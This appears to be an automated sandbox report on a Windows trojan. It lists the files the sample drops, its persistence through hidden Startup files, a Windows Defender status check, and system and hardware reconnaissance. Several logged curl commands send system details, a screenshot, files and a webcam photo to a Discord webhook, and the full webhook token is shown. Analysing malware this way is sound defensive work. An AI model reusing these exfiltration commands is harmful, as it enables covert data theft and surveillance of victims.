Technical Information
Malicious functions
Executes the following
- '<SYSTEM32>\taskkill.exe' /IM chrome.exe /F
Modifies file system
Creates the following files
- %TEMP%\ixp000.tmp\nbsetup.bat
- %TEMP%\ixp000.tmp\hardware_info.txt
- %TEMP%\background_changer.vbs
- %APPDATA%\microsoft\windows\start
- %HOMEPATH%\desktop\application_files.txt
- %TEMP%\ixp000.tmp\trojan.vbs
- %TEMP%\systeminfo.txt
- %LOCALAPPDATA%\d3dscache\fe8d97be6d92aa78\f4eb2d6c-ed2b-4bdd-ad9d-f913287e6768.idx
- %LOCALAPPDATA%\d3dscache\fe8d97be6d92aa78\f4eb2d6c-ed2b-4bdd-ad9d-f913287e6768.lock
- %LOCALAPPDATA%\d3dscache\fe8d97be6d92aa78\f4eb2d6c-ed2b-4bdd-ad9d-f913287e6768.val
Sets the 'hidden' attribute to the following files
- %TEMP%\ixp000.tmp\nbsetup.bat
Network activity
UDP
- DNS ASK di##ord.com
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
- ClassName: 'MPWClass' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "%TEMP%\background_changer.vbs"
- '<SYSTEM32>\wscript.exe' "%TEMP%\IXP000.TMP\trojan.vbs"
Executes the following
- '<SYSTEM32>\cmd.exe' /c "nbsetup.bat"
- '<SYSTEM32>\timeout.exe' 4
- '<SYSTEM32>\timeout.exe' 1
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "& { Add-Type -AssemblyName System.Windows.Forms; $x = [System.Windows.Forms.Cursor]::Position.X + 100; $y = [System.Windows.Forms.Cursor]::Position.Y + 100; [System.Windows.Forms.Curs...
- '<SYSTEM32>\curl.exe' -X POST -H "Content-Type: application/json" -d "{\"ip\": \"\"}" //discord.com/api/webhooks/1220040961816531085/sM0wDZxPLzhMsvGQ5bBQSzXt0d43NfnG4qlasmhOfnVFQX3957S54FR-PE9Bt3vdJne7
- '<SYSTEM32>\timeout.exe' 0.5
- '<SYSTEM32>\wbem\wmic.exe' cpu get name /format:textvaluelist.xsl
- '<SYSTEM32>\wbem\wmic.exe' memorychip get capacity /format:textvaluelist.xsl
- '<SYSTEM32>\wbem\wmic.exe' diskdrive get model,size /format:textvaluelist.xsl
- '<SYSTEM32>\curl.exe' -X POST -H "Content-Type: application/json" -d @hardware_info.txt https://discord.com/api/webhooks/1220040961816531085/sM0wDZxPLzhMsvGQ5bBQSzXt0d43NfnG4qlasmhOfnVFQX3957S54FR-PE9Bt3vdJne7
- '<SYSTEM32>\sc.exe' query "WinDefend"
- '<SYSTEM32>\find.exe' "STATE"
- '<SYSTEM32>\find.exe' "RUNNING"
- '<SYSTEM32>\cmd.exe' /c systeminfo | findstr /C:"OS Name" /C:"OS Version" /C:"System Manufacturer" /C:"System Model" /C:"Total Physical Memory" /C:"Domain" /C:"System Type"
- '<SYSTEM32>\systeminfo.exe'
- '<SYSTEM32>\findstr.exe' /C:"OS Name" /C:"OS Version" /C:"System Manufacturer" /C:"System Model" /C:"Total Physical Memory" /C:"Domain" /C:"System Type"
- '<SYSTEM32>\curl.exe' -X POST -H "Content-Type: application/json" -d "{\"content\":\"System Information: Microsoft Windows 10 Pro 10.0.19043 N/A Build 19043 System manufactu...
- '<SYSTEM32>\attrib.exe' +h +s %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\background_changer.bat
- '<SYSTEM32>\rundll32.exe' user32.dll, UpdatePerUserSystemParameters
- '<SYSTEM32>\curl.exe' -X POST -H "Content-Type: application/json" -d "{\"content\":\"Screenshot, application files, and facecam picture attached.\"}" -F "file1=@%HOMEPATH%\Desktop\screenshot.png" -F "file2=@%HOMEPAT...
- '<SYSTEM32>\attrib.exe' +h +s nbsetup.bat
- '<SYSTEM32>\cmd.exe' /S /D /c" echo HACKED BY NB "
- '<SYSTEM32>\clip.exe'
- '<SYSTEM32>\wbem\wmic.exe' cpu get name
- '<SYSTEM32>\dxdiag.exe' /t "%TEMP%\dxdiag.txt"
- '<SYSTEM32>\rundll32.exe' user32.dll, UpdatePerUserSystemParameters' (with hidden window)
